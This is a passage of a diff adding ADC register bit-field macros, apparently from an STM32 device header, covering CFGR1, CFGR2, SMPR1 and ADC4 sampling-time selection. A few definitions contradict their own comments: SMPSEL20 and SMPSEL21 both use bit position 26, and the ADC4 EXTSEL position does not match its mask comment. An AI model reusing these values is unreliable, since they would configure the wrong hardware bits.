ADC4_CFGR1_ALIGN_Msk /*!< ADC data alignment */ + +#define ADC_CFGR1_EXTSEL_Pos (5UL) +#define ADC_CFGR1_EXTSEL_Msk (0x1FUL << ADC_CFGR1_EXTSEL_Pos) /*!< 0x000003E0 */ +#define ADC_CFGR1_EXTSEL ADC_CFGR1_EXTSEL_Msk /*!< ADC External trigger selection for regular group */ +#define ADC_CFGR1_EXTSEL_0 (0x01UL << ADC_CFGR1_EXTSEL_Pos) /*!< 0x00000020 */ +#define ADC_CFGR1_EXTSEL_1 (0x02UL << ADC_CFGR1_EXTSEL_Pos) /*!< 0x00000040 */ +#define ADC_CFGR1_EXTSEL_2 (0x04UL << ADC_CFGR1_EXTSEL_Pos) /*!< 0x00000080 */ +#define ADC_CFGR1_EXTSEL_3 (0x08UL << ADC_CFGR1_EXTSEL_Pos) /*!< 0x00000100 */ +#define ADC_CFGR1_EXTSEL_4 (0x10UL << ADC_CFGR1_EXTSEL_Pos) /*!< 0x00000200 */ + +#define ADC_CFGR1_EXTEN_Pos (10UL) +#define ADC_CFGR1_EXTEN_Msk (0x3UL << ADC_CFGR1_EXTEN_Pos) /*!< 0x00000C00 */ +#define ADC_CFGR1_EXTEN ADC_CFGR1_EXTEN_Msk /*!< ADC External trigger enable and polarity selection for regular channels */ +#define ADC_CFGR1_EXTEN_0 (0x1UL << ADC_CFGR1_EXTEN_Pos) /*!< 0x00000400 */ +#define ADC_CFGR1_EXTEN_1 (0x2UL << ADC_CFGR1_EXTEN_Pos) /*!< 0x00000800 */ + +#define ADC_CFGR1_OVRMOD_Pos (12UL) +#define ADC_CFGR1_OVRMOD_Msk (0x1UL << ADC_CFGR1_OVRMOD_Pos) /*!< 0x00001000 */ +#define ADC_CFGR1_OVRMOD ADC_CFGR1_OVRMOD_Msk /*!< ADC overrun mode */ +#define ADC_CFGR1_CONT_Pos (13UL) +#define ADC_CFGR1_CONT_Msk (0x1UL << ADC_CFGR1_CONT_Pos) /*!< 0x00002000 */ +#define ADC_CFGR1_CONT ADC_CFGR1_CONT_Msk /*!< ADC Single/continuous conversion mode for regular conversion */ + +#define ADC_CFGR1_AUTDLY_Pos (14UL) +#define ADC_CFGR1_AUTDLY_Msk (0x1UL << ADC_CFGR1_AUTDLY_Pos) /*!< 0x00004000 */ +#define ADC_CFGR1_AUTDLY ADC_CFGR1_AUTDLY_Msk /*!< ADC Delayed conversion mode */ + +#define ADC4_CFGR1_WAIT_Pos (14UL) +#define ADC4_CFGR1_WAIT_Msk (0x1UL << ADC4_CFGR1_WAIT_Pos) /*!< 0x00004000 */ +#define ADC4_CFGR1_WAIT ADC4_CFGR1_WAIT_Msk /*!< ADC Delayed conversion mode */ + +#define ADC_CFGR1_DISCEN_Pos (16UL) +#define ADC_CFGR1_DISCEN_Msk (0x1UL << ADC_CFGR1_DISCEN_Pos) /*!< 0x00010000 */ +#define ADC_CFGR1_DISCEN ADC_CFGR1_DISCEN_Msk /*!< ADC Discontinuous mode for regular channels */ + +#define ADC_CFGR1_DISCNUM_Pos (17UL) +#define ADC_CFGR1_DISCNUM_Msk (0x7UL << ADC_CFGR1_DISCNUM_Pos) /*!< 0x000E0000 */ +#define ADC_CFGR1_DISCNUM ADC_CFGR1_DISCNUM_Msk /*!< ADC Discontinuous mode channel count */ +#define ADC_CFGR1_DISCNUM_0 (0x1UL << ADC_CFGR1_DISCNUM_Pos) /*!< 0x00020000 */ +#define ADC_CFGR1_DISCNUM_1 (0x2UL << ADC_CFGR1_DISCNUM_Pos) /*!< 0x00040000 */ +#define ADC_CFGR1_DISCNUM_2 (0x4UL << ADC_CFGR1_DISCNUM_Pos) /*!< 0x00080000 */ + +#define ADC_CFGR1_JDISCEN_Pos (20UL) +#define ADC_CFGR1_JDISCEN_Msk (0x1UL << ADC_CFGR1_JDISCEN_Pos) /*!< 0x00100000 */ +#define ADC_CFGR1_JDISCEN ADC_CFGR1_JDISCEN_Msk /*!< ADC Discontinuous mode on injected channels */ + +#define ADC_CFGR1_AWD1SGL_Pos (22UL) +#define ADC_CFGR1_AWD1SGL_Msk (0x1UL << ADC_CFGR1_AWD1SGL_Pos) /*!< 0x00400000 */ +#define ADC_CFGR1_AWD1SGL ADC_CFGR1_AWD1SGL_Msk /*!< Enable the watchdog 1 on a single channel or on all channels */ +#define ADC_CFGR1_AWD1EN_Pos (23UL) +#define ADC_CFGR1_AWD1EN_Msk (0x1UL << ADC_CFGR1_AWD1EN_Pos) /*!< 0x00800000 */ +#define ADC_CFGR1_AWD1EN ADC_CFGR1_AWD1EN_Msk /*!< ADC Analog watchdog 1 enable on regular Channels */ +#define ADC_CFGR1_JAWD1EN_Pos (24UL) +#define ADC_CFGR1_JAWD1EN_Msk (0x1UL << ADC_CFGR1_JAWD1EN_Pos) /*!< 0x01000000 */ +#define ADC_CFGR1_JAWD1EN ADC_CFGR1_JAWD1EN_Msk /*!< ADC Analog watchdog 1 enable on injected Channels */ +#define ADC_CFGR1_JAUTO_Pos (25UL) +#define ADC_CFGR1_JAUTO_Msk (0x1UL << ADC_CFGR1_JAUTO_Pos) /*!< 0x02000000 */ +#define ADC_CFGR1_JAUTO ADC_CFGR1_JAUTO_Msk /*!< ADC Automatic injected group conversion */ + +/* Specific ADC4 */ +#define ADC4_CFGR1_EXTSEL_Pos (6UL) +#define ADC4_CFGR1_EXTSEL_Msk (0x7UL << ADC4_CFGR1_EXTSEL_Pos) /*!< 0x000003E0 */ +#define ADC4_CFGR1_EXTSEL ADC4_CFGR1_EXTSEL_Msk /*!< ADC External trigger selection for regular group */ +#define ADC4_CFGR1_EXTSEL_0 (0x01UL << ADC4_CFGR1_EXTSEL_Pos) /*!< 0x00000020 */ +#define ADC4_CFGR1_EXTSEL_1 (0x02UL << ADC4_CFGR1_EXTSEL_Pos) /*!< 0x00000040 */ +#define ADC4_CFGR1_EXTSEL_2 (0x04UL << ADC4_CFGR1_EXTSEL_Pos) /*!< 0x00000080 */ + +#define ADC4_CFGR1_CHSELRMOD_Pos (21UL) +#define ADC4_CFGR1_CHSELRMOD_Msk (0x1UL << ADC4_CFGR1_CHSELRMOD_Pos) /*!< 0x00200000 */ +#define ADC4_CFGR1_CHSELRMOD ADC4_CFGR1_CHSELRMOD_Msk /*!< ADC JSQR Queue mode */ + +#define ADC_CFGR1_AWD1CH_Pos (26UL) +#define ADC_CFGR1_AWD1CH_Msk (0x1FUL << ADC_CFGR1_AWD1CH_Pos) /*!< 0x7C000000 */ +#define ADC_CFGR1_AWD1CH ADC_CFGR1_AWD1CH_Msk /*!< ADC Analog watchdog 1 Channel selection */ +#define ADC_CFGR1_AWD1CH_0 (0x01UL << ADC_CFGR1_AWD1CH_Pos) /*!< 0x04000000 */ +#define ADC_CFGR1_AWD1CH_1 (0x02UL << ADC_CFGR1_AWD1CH_Pos) /*!< 0x08000000 */ +#define ADC_CFGR1_AWD1CH_2 (0x04UL << ADC_CFGR1_AWD1CH_Pos) /*!< 0x10000000 */ +#define ADC_CFGR1_AWD1CH_3 (0x08UL << ADC_CFGR1_AWD1CH_Pos) /*!< 0x20000000 */ +#define ADC_CFGR1_AWD1CH_4 (0x10UL << ADC_CFGR1_AWD1CH_Pos) /*!< 0x40000000 */ + +/******************** Bit definition for ADC_CFGR2 register ********************/ +#define ADC_CFGR2_ROVSE_Pos (0UL) +#define ADC_CFGR2_ROVSE_Msk (0x1UL << ADC_CFGR2_ROVSE_Pos) /*!< 0x00000001 */ +#define ADC_CFGR2_ROVSE ADC_CFGR2_ROVSE_Msk /*!< ADC Regular group oversampler enable */ +#define ADC_CFGR2_JOVSE_Pos (1UL) +#define ADC_CFGR2_JOVSE_Msk (0x1UL << ADC_CFGR2_JOVSE_Pos) /*!< 0x00000002 */ +#define ADC_CFGR2_JOVSE ADC_CFGR2_JOVSE_Msk /*!< ADC Injected group oversampler enable */ + +#define ADC_CFGR2_OVSS_Pos (5UL) +#define ADC_CFGR2_OVSS_Msk (0xFUL << ADC_CFGR2_OVSS_Pos) /*!< 0x000001E0 */ +#define ADC_CFGR2_OVSS ADC_CFGR2_OVSS_Msk /*!< ADC Regular Oversampling shift */ +#define ADC_CFGR2_OVSS_0 (0x1UL << ADC_CFGR2_OVSS_Pos) /*!< 0x00000020 */ +#define ADC_CFGR2_OVSS_1 (0x2UL << ADC_CFGR2_OVSS_Pos) /*!< 0x00000040 */ +#define ADC_CFGR2_OVSS_2 (0x4UL << ADC_CFGR2_OVSS_Pos) /*!< 0x00000080 */ +#define ADC_CFGR2_OVSS_3 (0x8UL << ADC_CFGR2_OVSS_Pos) /*!< 0x00000100 */ + +#define ADC_CFGR2_TROVS_Pos (9UL) +#define ADC_CFGR2_TROVS_Msk (0x1UL << ADC_CFGR2_TROVS_Pos) /*!< 0x00000200 */ +#define ADC_CFGR2_TROVS ADC_CFGR2_TROVS_Msk /*!< ADC Triggered regular Oversampling */ +#define ADC_CFGR2_ROVSM_Pos (10UL) +#define ADC_CFGR2_ROVSM_Msk (0x1UL << ADC_CFGR2_ROVSM_Pos) /*!< 0x00000400 */ +#define ADC_CFGR2_ROVSM ADC_CFGR2_ROVSM_Msk /*!< ADC Regular oversampling mode */ + +#define ADC_CFGR2_OVSR_Pos (16UL) +#define ADC_CFGR2_OVSR_Msk (0x3FFUL << ADC_CFGR2_OVSR_Pos) /*!< 0x03FF0000 */ +#define ADC_CFGR2_OVSR ADC_CFGR2_OVSR_Msk /*!< ADC oversampling Ratio */ +#define ADC_CFGR2_OVSR_0 (0x001UL << ADC_CFGR2_OVSR_Pos) /*!< 0x00010000 */ +#define ADC_CFGR2_OVSR_1 (0x002UL << ADC_CFGR2_OVSR_Pos) /*!< 0x00020000 */ +#define ADC_CFGR2_OVSR_2 (0x004UL << ADC_CFGR2_OVSR_Pos) /*!< 0x00040000 */ +#define ADC_CFGR2_OVSR_3 (0x008UL << ADC_CFGR2_OVSR_Pos) /*!< 0x00080000 */ +#define ADC_CFGR2_OVSR_4 (0x010UL << ADC_CFGR2_OVSR_Pos) /*!< 0x00100000 */ +#define ADC_CFGR2_OVSR_5 (0x020UL << ADC_CFGR2_OVSR_Pos) /*!< 0x00200000 */ +#define ADC_CFGR2_OVSR_6 (0x040UL << ADC_CFGR2_OVSR_Pos) /*!< 0x00400000 */ +#define ADC_CFGR2_OVSR_7 (0x080UL << ADC_CFGR2_OVSR_Pos) /*!< 0x00800000 */ +#define ADC_CFGR2_OVSR_8 (0x100UL << ADC_CFGR2_OVSR_Pos) /*!< 0x01000000 */ +#define ADC_CFGR2_OVSR_9 (0x200UL << ADC_CFGR2_OVSR_Pos) /*!< 0x02000000 */ + +#define ADC_CFGR2_BULB_Pos (13UL) +#define ADC_CFGR2_BULB_Msk (0x1UL << ADC_CFGR2_BULB_Pos) /*!< 0x00002000 */ +#define ADC_CFGR2_BULB ADC_CFGR2_BULB_Msk /*!< ADC Bulb sampling mode */ + +#define ADC_CFGR2_SWTRIG_Pos (14UL) +#define ADC_CFGR2_SWTRIG_Msk (0x1UL << ADC_CFGR2_SWTRIG_Pos) /*!< 0x00004000 */ +#define ADC_CFGR2_SWTRIG ADC_CFGR2_SWTRIG_Msk /*!< ADC Software trigger bit for sampling time control trigger mode */ + +#define ADC_CFGR2_SMPTRIG_Pos (15UL) +#define ADC_CFGR2_SMPTRIG_Msk (0x1UL << ADC_CFGR2_SMPTRIG_Pos) /*!< 0x00008000 */ +#define ADC_CFGR2_SMPTRIG ADC_CFGR2_SMPTRIG_Msk /*!< ADC Sampling time control trigger mode */ + +#define ADC_CFGR2_LFTRIG_Pos (27UL) +#define ADC_CFGR2_LFTRIG_Msk (0x1UL << ADC_CFGR2_LFTRIG_Pos) /*!< 0x08000000 */ +#define ADC_CFGR2_LFTRIG ADC_CFGR2_LFTRIG_Msk /*!< ADC low frequency trigger mode */ + +#define ADC_CFGR2_LSHIFT_Pos (28UL) +#define ADC_CFGR2_LSHIFT_Msk (0xFUL << ADC_CFGR2_LSHIFT_Pos) /*!< 0xF0000000 */ +#define ADC_CFGR2_LSHIFT ADC_CFGR2_LSHIFT_Msk /*!< ADC Left shift factor */ +#define ADC_CFGR2_LSHIFT_0 (0x1UL << ADC_CFGR2_LSHIFT_Pos) /*!< 0x10000000 */ +#define ADC_CFGR2_LSHIFT_1 (0x2UL << ADC_CFGR2_LSHIFT_Pos) /*!< 0x20000000 */ +#define ADC_CFGR2_LSHIFT_2 (0x4UL << ADC_CFGR2_LSHIFT_Pos) /*!< 0x40000000 */ +#define ADC_CFGR2_LSHIFT_3 (0x8UL << ADC_CFGR2_LSHIFT_Pos) /*!< 0x80000000 */ + +/* Specific ADC4 */ +#define ADC4_CFGR2_OVSR_Pos (2UL) +#define ADC4_CFGR2_OVSR_Msk (0x7UL << ADC4_CFGR2_OVSR_Pos) /*!< 0x0000001C */ +#define ADC4_CFGR2_OVSR ADC4_CFGR2_OVSR_Msk /*!< ADC oversampling ratio */ +#define ADC4_CFGR2_OVSR_0 (0x1UL << ADC4_CFGR2_OVSR_Pos) /*!< 0x00000004 */ +#define ADC4_CFGR2_OVSR_1 (0x2UL << ADC4_CFGR2_OVSR_Pos) /*!< 0x00000008 */ +#define ADC4_CFGR2_OVSR_2 (0x4UL << ADC4_CFGR2_OVSR_Pos) /*!< 0x00000010 */ + +#define ADC4_CFGR2_LFTRIG_Pos (29UL) +#define ADC4_CFGR2_LFTRIG_Msk (0x1UL << ADC4_CFGR2_LFTRIG_Pos) /*!< 0x20000000 */ +#define ADC4_CFGR2_LFTRIG ADC4_CFGR2_LFTRIG_Msk /*!< ADC4 low frequency trigger mode */ + +/******************** Bit definition for ADC_SMPR1 register ********************/ +#define ADC_SMPR1_SMP0_Pos (0UL) +#define ADC_SMPR1_SMP0_Msk (0x7UL << ADC_SMPR1_SMP0_Pos) /*!< 0x00000007 */ +#define ADC_SMPR1_SMP0 ADC_SMPR1_SMP0_Msk /*!< ADC Channel 0 Sampling time selection */ +#define ADC_SMPR1_SMP0_0 (0x1UL << ADC_SMPR1_SMP0_Pos) /*!< 0x00000001 */ +#define ADC_SMPR1_SMP0_1 (0x2UL << ADC_SMPR1_SMP0_Pos) /*!< 0x00000002 */ +#define ADC_SMPR1_SMP0_2 (0x4UL << ADC_SMPR1_SMP0_Pos) /*!< 0x00000004 */ + +#define ADC_SMPR1_SMP1_Pos (3UL) +#define ADC_SMPR1_SMP1_Msk (0x7UL << ADC_SMPR1_SMP1_Pos) /*!< 0x00000038 */ +#define ADC_SMPR1_SMP1 ADC_SMPR1_SMP1_Msk /*!< ADC Channel 1 Sampling time selection */ +#define ADC_SMPR1_SMP1_0 (0x1UL << ADC_SMPR1_SMP1_Pos) /*!< 0x00000008 */ +#define ADC_SMPR1_SMP1_1 (0x2UL << ADC_SMPR1_SMP1_Pos) /*!< 0x00000010 */ +#define ADC_SMPR1_SMP1_2 (0x4UL << ADC_SMPR1_SMP1_Pos) /*!< 0x00000020 */ + +#define ADC_SMPR1_SMP2_Pos (6UL) +#define ADC_SMPR1_SMP2_Msk (0x7UL << ADC_SMPR1_SMP2_Pos) /*!< 0x000001C0 */ +#define ADC_SMPR1_SMP2 ADC_SMPR1_SMP2_Msk /*!< ADC Channel 2 Sampling time selection */ +#define ADC_SMPR1_SMP2_0 (0x1UL << ADC_SMPR1_SMP2_Pos) /*!< 0x00000040 */ +#define ADC_SMPR1_SMP2_1 (0x2UL << ADC_SMPR1_SMP2_Pos) /*!< 0x00000080 */ +#define ADC_SMPR1_SMP2_2 (0x4UL << ADC_SMPR1_SMP2_Pos) /*!< 0x00000100 */ + +#define ADC_SMPR1_SMP3_Pos (9UL) +#define ADC_SMPR1_SMP3_Msk (0x7UL << ADC_SMPR1_SMP3_Pos) /*!< 0x00000E00 */ +#define ADC_SMPR1_SMP3 ADC_SMPR1_SMP3_Msk /*!< ADC Channel 3 Sampling time selection */ +#define ADC_SMPR1_SMP3_0 (0x1UL << ADC_SMPR1_SMP3_Pos) /*!< 0x00000200 */ +#define ADC_SMPR1_SMP3_1 (0x2UL << ADC_SMPR1_SMP3_Pos) /*!< 0x00000400 */ +#define ADC_SMPR1_SMP3_2 (0x4UL << ADC_SMPR1_SMP3_Pos) /*!< 0x00000800 */ + +#define ADC_SMPR1_SMP4_Pos (12UL) +#define ADC_SMPR1_SMP4_Msk (0x7UL << ADC_SMPR1_SMP4_Pos) /*!< 0x00007000 */ +#define ADC_SMPR1_SMP4 ADC_SMPR1_SMP4_Msk /*!< ADC Channel 4 Sampling time selection */ +#define ADC_SMPR1_SMP4_0 (0x1UL << ADC_SMPR1_SMP4_Pos) /*!< 0x00001000 */ +#define ADC_SMPR1_SMP4_1 (0x2UL << ADC_SMPR1_SMP4_Pos) /*!< 0x00002000 */ +#define ADC_SMPR1_SMP4_2 (0x4UL << ADC_SMPR1_SMP4_Pos) /*!< 0x00004000 */ + +#define ADC_SMPR1_SMP5_Pos (15UL) +#define ADC_SMPR1_SMP5_Msk (0x7UL << ADC_SMPR1_SMP5_Pos) /*!< 0x00038000 */ +#define ADC_SMPR1_SMP5 ADC_SMPR1_SMP5_Msk /*!< ADC Channel 5 Sampling time selection */ +#define ADC_SMPR1_SMP5_0 (0x1UL << ADC_SMPR1_SMP5_Pos) /*!< 0x00008000 */ +#define ADC_SMPR1_SMP5_1 (0x2UL << ADC_SMPR1_SMP5_Pos) /*!< 0x00010000 */ +#define ADC_SMPR1_SMP5_2 (0x4UL << ADC_SMPR1_SMP5_Pos) /*!< 0x00020000 */ + +#define ADC_SMPR1_SMP6_Pos (18UL) +#define ADC_SMPR1_SMP6_Msk (0x7UL << ADC_SMPR1_SMP6_Pos) /*!< 0x001C0000 */ +#define ADC_SMPR1_SMP6 ADC_SMPR1_SMP6_Msk /*!< ADC Channel 6 Sampling time selection */ +#define ADC_SMPR1_SMP6_0 (0x1UL << ADC_SMPR1_SMP6_Pos) /*!< 0x00040000 */ +#define ADC_SMPR1_SMP6_1 (0x2UL << ADC_SMPR1_SMP6_Pos) /*!< 0x00080000 */ +#define ADC_SMPR1_SMP6_2 (0x4UL << ADC_SMPR1_SMP6_Pos) /*!< 0x00100000 */ + +#define ADC_SMPR1_SMP7_Pos (21UL) +#define ADC_SMPR1_SMP7_Msk (0x7UL << ADC_SMPR1_SMP7_Pos) /*!< 0x00E00000 */ +#define ADC_SMPR1_SMP7 ADC_SMPR1_SMP7_Msk /*!< ADC Channel 7 Sampling time selection */ +#define ADC_SMPR1_SMP7_0 (0x1UL << ADC_SMPR1_SMP7_Pos) /*!< 0x00200000 */ +#define ADC_SMPR1_SMP7_1 (0x2UL << ADC_SMPR1_SMP7_Pos) /*!< 0x00400000 */ +#define ADC_SMPR1_SMP7_2 (0x4UL << ADC_SMPR1_SMP7_Pos) /*!< 0x00800000 */ + +#define ADC_SMPR1_SMP8_Pos (24UL) +#define ADC_SMPR1_SMP8_Msk (0x7UL << ADC_SMPR1_SMP8_Pos) /*!< 0x07000000 */ +#define ADC_SMPR1_SMP8 ADC_SMPR1_SMP8_Msk /*!< ADC Channel 8 Sampling time selection */ +#define ADC_SMPR1_SMP8_0 (0x1UL << ADC_SMPR1_SMP8_Pos) /*!< 0x01000000 */ +#define ADC_SMPR1_SMP8_1 (0x2UL << ADC_SMPR1_SMP8_Pos) /*!< 0x02000000 */ +#define ADC_SMPR1_SMP8_2 (0x4UL << ADC_SMPR1_SMP8_Pos) /*!< 0x04000000 */ + +#define ADC_SMPR1_SMP9_Pos (27UL) +#define ADC_SMPR1_SMP9_Msk (0x7UL << ADC_SMPR1_SMP9_Pos) /*!< 0x38000000 */ +#define ADC_SMPR1_SMP9 ADC_SMPR1_SMP9_Msk /*!< ADC Channel 9 Sampling time selection */ +#define ADC_SMPR1_SMP9_0 (0x1UL << ADC_SMPR1_SMP9_Pos) /*!< 0x08000000 */ +#define ADC_SMPR1_SMP9_1 (0x2UL << ADC_SMPR1_SMP9_Pos) /*!< 0x10000000 */ +#define ADC_SMPR1_SMP9_2 (0x4UL << ADC_SMPR1_SMP9_Pos) /*!< 0x20000000 */ + +#define ADC4_SMPR_SMP1_Pos (0UL) +#define ADC4_SMPR_SMP1_Msk (0x7UL << ADC4_SMPR_SMP1_Pos) /*!< 0x00000007 */ +#define ADC4_SMPR_SMP1 ADC4_SMPR_SMP1_Msk /*!< ADC Channel 0 Sampling time selection */ +#define ADC4_SMPR_SMP1_0 (0x1UL << ADC4_SMPR_SMP1_Pos) /*!< 0x00000001 */ +#define ADC4_SMPR_SMP1_1 (0x2UL << ADC4_SMPR_SMP1_Pos) /*!< 0x00000002 */ +#define ADC4_SMPR_SMP1_2 (0x4UL << ADC4_SMPR_SMP1_Pos) /*!< 0x00000004 */ + +#define ADC4_SMPR_SMP2_Pos (4UL) +#define ADC4_SMPR_SMP2_Msk (0x7UL << ADC4_SMPR_SMP2_Pos) /*!< 0x00000070 */ +#define ADC4_SMPR_SMP2 ADC4_SMPR_SMP2_Msk /*!< ADC group of channels sampling time 2 */ +#define ADC4_SMPR_SMP2_0 (0x1UL << ADC4_SMPR_SMP2_Pos) /*!< 0x00000010 */ +#define ADC4_SMPR_SMP2_1 (0x2UL << ADC4_SMPR_SMP2_Pos) /*!< 0x00000020 */ +#define ADC4_SMPR_SMP2_2 (0x4UL << ADC4_SMPR_SMP2_Pos) /*!< 0x00000040 */ + +#define ADC4_SMPR_SMPSEL_Pos (8UL) +#define ADC4_SMPR_SMPSEL_Msk (0xFFFFFFUL << ADC4_SMPR_SMPSEL_Pos) /*!< 0xFFFFFF00 */ +#define ADC4_SMPR_SMPSEL ADC4_SMPR_SMPSEL_Msk /*!< ADC4 all channels sampling time selection */ +#define ADC4_SMPR_SMPSEL0_Pos (8UL) +#define ADC4_SMPR_SMPSEL0_Msk (0x1UL << ADC4_SMPR_SMPSEL0_Pos) /*!< 0x00000100 */ +#define ADC4_SMPR_SMPSEL0 ADC4_SMPR_SMPSEL0_Msk /*!< ADC4 channel 0 sampling time selection */ +#define ADC4_SMPR_SMPSEL1_Pos (9UL) +#define ADC4_SMPR_SMPSEL1_Msk (0x1UL << ADC4_SMPR_SMPSEL1_Pos) /*!< 0x00000200 */ +#define ADC4_SMPR_SMPSEL1 ADC4_SMPR_SMPSEL1_Msk /*!< ADC4 channel 1 sampling time selection */ +#define ADC4_SMPR_SMPSEL2_Pos (10UL) +#define ADC4_SMPR_SMPSEL2_Msk (0x1UL << ADC4_SMPR_SMPSEL2_Pos) /*!< 0x00000400 */ +#define ADC4_SMPR_SMPSEL2 ADC4_SMPR_SMPSEL2_Msk /*!< ADC4 channel 2 sampling time selection */ +#define ADC4_SMPR_SMPSEL3_Pos (11UL) +#define ADC4_SMPR_SMPSEL3_Msk (0x1UL << ADC4_SMPR_SMPSEL3_Pos) /*!< 0x00000800 */ +#define ADC4_SMPR_SMPSEL3 ADC4_SMPR_SMPSEL3_Msk /*!< ADC4 channel 3 sampling time selection */ +#define ADC4_SMPR_SMPSEL4_Pos (12UL) +#define ADC4_SMPR_SMPSEL4_Msk (0x1UL << ADC4_SMPR_SMPSEL4_Pos) /*!< 0x00001000 */ +#define ADC4_SMPR_SMPSEL4 ADC4_SMPR_SMPSEL4_Msk /*!< ADC4 channel 4 sampling time selection */ +#define ADC4_SMPR_SMPSEL5_Pos (13UL) +#define ADC4_SMPR_SMPSEL5_Msk (0x1UL << ADC4_SMPR_SMPSEL5_Pos) /*!< 0x00002000 */ +#define ADC4_SMPR_SMPSEL5 ADC4_SMPR_SMPSEL5_Msk /*!< ADC4 channel 5 sampling time selection */ +#define ADC4_SMPR_SMPSEL6_Pos (14UL) +#define ADC4_SMPR_SMPSEL6_Msk (0x1UL << ADC4_SMPR_SMPSEL6_Pos) /*!< 0x00004000 */ +#define ADC4_SMPR_SMPSEL6 ADC4_SMPR_SMPSEL6_Msk /*!< ADC4 channel 6 sampling time selection */ +#define ADC4_SMPR_SMPSEL7_Pos (15UL) +#define ADC4_SMPR_SMPSEL7_Msk (0x1UL << ADC4_SMPR_SMPSEL7_Pos) /*!< 0x00008000 */ +#define ADC4_SMPR_SMPSEL7 ADC4_SMPR_SMPSEL7_Msk /*!< ADC4 channel 7 sampling time selection */ +#define ADC4_SMPR_SMPSEL8_Pos (16UL) +#define ADC4_SMPR_SMPSEL8_Msk (0x1UL << ADC4_SMPR_SMPSEL8_Pos) /*!< 0x00010000 */ +#define ADC4_SMPR_SMPSEL8 ADC4_SMPR_SMPSEL8_Msk /*!< ADC4 channel 8 sampling time selection */ +#define ADC4_SMPR_SMPSEL9_Pos (17UL) +#define ADC4_SMPR_SMPSEL9_Msk (0x1UL << ADC4_SMPR_SMPSEL9_Pos) /*!< 0x00020000 */ +#define ADC4_SMPR_SMPSEL9 ADC4_SMPR_SMPSEL9_Msk /*!< ADC4 channel 9 sampling time selection */ +#define ADC4_SMPR_SMPSEL10_Pos (18UL) +#define ADC4_SMPR_SMPSEL10_Msk (0x1UL << ADC4_SMPR_SMPSEL10_Pos) /*!< 0x00040000 */ +#define ADC4_SMPR_SMPSEL10 ADC4_SMPR_SMPSEL10_Msk /*!< ADC4 channel 10 sampling time selection */ +#define ADC4_SMPR_SMPSEL11_Pos (19UL) +#define ADC4_SMPR_SMPSEL11_Msk (0x1UL << ADC4_SMPR_SMPSEL11_Pos) /*!< 0x00080000 */ +#define ADC4_SMPR_SMPSEL11 ADC4_SMPR_SMPSEL11_Msk /*!< ADC4 channel 11 sampling time selection */ +#define ADC4_SMPR_SMPSEL12_Pos (20UL) +#define ADC4_SMPR_SMPSEL12_Msk (0x1UL << ADC4_SMPR_SMPSEL12_Pos) /*!< 0x00100000 */ +#define ADC4_SMPR_SMPSEL12 ADC4_SMPR_SMPSEL12_Msk /*!< ADC4 channel 12 sampling time selection */ +#define ADC4_SMPR_SMPSEL13_Pos (21UL) +#define ADC4_SMPR_SMPSEL13_Msk (0x1UL << ADC4_SMPR_SMPSEL13_Pos) /*!< 0x00200000 */ +#define ADC4_SMPR_SMPSEL13 ADC4_SMPR_SMPSEL13_Msk /*!< ADC4 channel 13 sampling time selection */ +#define ADC4_SMPR_SMPSEL14_Pos (22UL) +#define ADC4_SMPR_SMPSEL14_Msk (0x1UL << ADC4_SMPR_SMPSEL14_Pos) /*!< 0x00400000 */ +#define ADC4_SMPR_SMPSEL14 ADC4_SMPR_SMPSEL14_Msk /*!< ADC4 channel 14 sampling time selection */ +#define ADC4_SMPR_SMPSEL15_Pos (23UL) +#define ADC4_SMPR_SMPSEL15_Msk (0x1UL << ADC4_SMPR_SMPSEL15_Pos) /*!< 0x00800000 */ +#define ADC4_SMPR_SMPSEL15 ADC4_SMPR_SMPSEL15_Msk /*!< ADC4 channel 15 sampling time selection */ +#define ADC4_SMPR_SMPSEL16_Pos (24UL) +#define ADC4_SMPR_SMPSEL16_Msk (0x1UL << ADC4_SMPR_SMPSEL16_Pos) /*!< 0x01000000 */ +#define ADC4_SMPR_SMPSEL16 ADC4_SMPR_SMPSEL16_Msk /*!< ADC4 channel 16 sampling time selection */ +#define ADC4_SMPR_SMPSEL17_Pos (25UL) +#define ADC4_SMPR_SMPSEL17_Msk (0x1UL << ADC4_SMPR_SMPSEL17_Pos) /*!< 0x02000000 */ +#define ADC4_SMPR_SMPSEL17 ADC4_SMPR_SMPSEL17_Msk /*!< ADC4 channel 17 sampling time selection */ +#define ADC4_SMPR_SMPSEL18_Pos (26UL) +#define ADC4_SMPR_SMPSEL18_Msk (0x1UL << ADC4_SMPR_SMPSEL18_Pos) /*!< 0x04000000 */ +#define ADC4_SMPR_SMPSEL18 ADC4_SMPR_SMPSEL18_Msk /*!< ADC4 channel 18 sampling time selection */ +#define ADC4_SMPR_SMPSEL19_Pos (27UL) +#define ADC4_SMPR_SMPSEL19_Msk (0x1UL << ADC4_SMPR_SMPSEL19_Pos) /*!< 0x08000000 */ +#define ADC4_SMPR_SMPSEL19 ADC4_SMPR_SMPSEL19_Msk /*!< ADC4 channel 19 sampling time selection */ +#define ADC4_SMPR_SMPSEL20_Pos (26UL) +#define ADC4_SMPR_SMPSEL20_Msk (0x1UL << ADC4_SMPR_SMPSEL20_Pos) /*!< 0x10000000 */ +#define ADC4_SMPR_SMPSEL20 ADC4_SMPR_SMPSEL20_Msk /*!< ADC4 channel 20 sampling time selection */ +#define ADC4_SMPR_SMPSEL21_Pos (26UL) +#define ADC4_SMPR_SMPSEL21_Msk (0x1UL << ADC4_SMPR_SMPSEL21_Pos) /*!< 0x20000000 */ +#define ADC4_SMPR_SMPSEL21 ADC4_SMPR_SMPSEL21_Msk /*!< ADC4 channel 20 sampling time selection */ +#define ADC4_SMPR_SMPSEL22_Pos (30UL) +#define ADC4_SMPR_SMPSEL22_Msk (0x1UL << ADC4_SMPR_SMPSEL22_Pos) /*!< 0x40000000 */ +#define ADC4_SMPR_SMPSEL22 ADC4_SMPR_SMPSEL22_Msk /*!< ADC4 channel 21 sampling time selection */ +#define ADC4_SMPR_SMPSEL23_Pos (31UL) +#define ADC4_SMPR_SMPSEL23_Msk (0x1UL << ADC4_SMPR_SMPSEL23_Pos) /*!< 0x80000000 */ +#define ADC4_SMPR_SMPSEL23 ADC4_SMPR_SMPSEL23_Msk /*!< ADC4 channel 23 sampling time selection */ + +/******************** Bit definition for ADC_SMPR2 register ********************/ +#define ADC_SMPR2_SMP10_Pos (0UL) +#define ADC_SMPR2_SMP10_Msk (0x7UL << ADC_SMPR2_SMP10_Pos) /*!< 0x00000007 */ +#define ADC_SMPR2_SMP10 ADC_SMPR2_SMP10_Msk /*!< ADC Channel 10 Sampling time selection */ +#define ADC_SMPR2_SMP10_0 (0x1UL << ADC_SMPR2_SMP10_Pos) /*!< 0x00000001 */ +#define ADC_SMPR2_SMP10_1 (0x2UL << ADC_SMPR2_SMP10_Pos) 